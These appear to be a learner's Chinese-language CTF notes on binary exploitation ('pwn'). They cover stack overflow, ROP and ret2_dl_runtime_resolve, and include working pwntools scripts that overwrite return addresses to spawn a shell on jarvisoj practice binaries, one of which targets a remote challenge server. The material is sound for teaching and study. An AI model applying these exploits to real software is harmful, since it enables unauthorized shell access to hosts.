pwn 是什么
钻可执行二进制文件的空子的一种技术。
pwn 需要的工具
- 一些python技能
- pwntools
- ida
- gdb
- 关于程序漏洞的基础知识
pwn 可以干什么
利用提前写好的脚本攻击某一个进程,控制运行这个进程的主机。也就是常说的getshell。
几个基础漏洞
- 栈溢出
- 堆溢出
- 格式化字符串漏洞
- 其他 ——对不起我还没有学到这里来TAT
例子
简单栈溢出
关于栈的内容:click!
-
jarvisoj-level1
直接往栈上直接写shellcode。将返回地址覆盖成shellcode开始的地址。
两个条件:NX防护没有开
知道栈地址
-
jarvisoj-level0
-
漏洞是明显的栈溢出。
自带getshell函数。
-
checksec可以发现
PIE没开,所以可以直接攻击他的返回地址。
-
exp
1
2
3
4
5
6
7
8from pwn import * sh= process("./level0") system_addr=0x400596 payload='A' * 0x80 +'B' * 0x8 +p64(system_addr) sh.sendline(payload) sh.interactive()
-
-
jarvisoj-level2
这道题没有直接的
system("/bin/sh")
,需要在伪造返回地址的基础上构造参数。1
2
3
4
5
6
7
8
9
10
11from pwn import * payload = 'a'*(0x88+0x4) elf=ELF("./level2") sys_addr=elf.symbols["system"] bin_addr=elf.search("/bin/sh").next() payload += p32(sys_addr)+p32(0xdeadbeef)+p32(bin_addr) sh=remote("pwn2.jarvisoj.com",'9878') sh.sendline(payload) sh.interactive()
基础 ROP 利用
ctfwiki上讲的太详细了=v<
smallbug3
- 关于
canary
和pie
的
ret2_dl_runtime_resolve
概念
- 四个section
.dynamic
保存了下面三个section的指针。
2..dynstr
是一个字符串表,内容是指针,指向函数名字符串。
3..dynsym
是一个结构体数组。
4..rel.plt
也是一个结构体数组。
__dl_runtime_resolve
大致流程
攻击手段
改写.dynstr
节的指针
让这个指针指向我们需要的函数名字符串,例如system
字符串
- 缺陷 只有在NO RELRO时候才有权限更改.dynstr。
伪造结构体
因为函数的执行过程就是不断地寻找结构体,从结构体中拿数据,而在函数源码中,并不会检查offset是否会过界,所以我们可以在可控制的地方伪造结构体,来调用目标函数。
-
计算fake_rel和
.rel.plt
的距离偏移量作为offset,注意64位需要除以sizeof(ELF32_REL)
。 -
伪造一
fake_rel
,使他的rel_info字段成为0x******07
,这个07是导入函数的参数。暂时不知道干嘛的,但最好不要改。 -
******
是指fake_sym距离.dynsym
的偏移/sizeof(ELF32_SYM)
。 -
fake_sym
中st_name
是fake_string距离.dynstr
的偏移量。
heap
unlink
HOF
UAF
格式化字符串漏洞
其他
只了解了一个
.init_array 和 .fini_array节存放了指向初始化代码和终止代码的函数指针。.init_array函数指针会在调用main()之前被触发,.fini_array函数指针在main()执行完后才被触发。 这就意味着可以通过重写某个指向正确地址的指针来将控制流指向病毒或者寄生代码。
写exp时的几个trick
- 显示发送和接收的数据
1
context.log_level = 'debug'
- debug
1
2
3context.terminal = ['deepin-terminal','-x','sh','-c'] sh=process('./elffile') gdb.attach(sh)
- 不用写libc的绝对路径
1
libc = ELF('./elffile').libc